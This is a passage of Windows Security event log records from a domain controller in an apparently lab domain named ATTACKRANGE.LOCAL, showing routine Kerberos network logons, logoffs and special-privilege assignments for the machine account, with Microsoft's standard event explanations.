Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC853D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64067

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248890
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC853D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248889
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC84DC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248888
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC84DC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64066

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248887
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC84DC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248910
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC87EC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248909
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC87EC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64073

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248908
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC87EC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248907
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC878B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248906
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC878B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64072

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248905
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC878B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248904
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8725

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248903
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC8725
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64071

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248902
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8725

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248901
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC86C4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248900
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC86C4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64070

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248899
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC86C4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248922
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC98EB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248921
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC98EB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64077

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248920
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC98EB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248919
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC987A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248918
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC987A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64076

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248917
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC987A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248916
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC9806

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248915
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC9806
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64075

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248914
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC9806

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248913
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC9795

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248912
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC9795
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64074

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
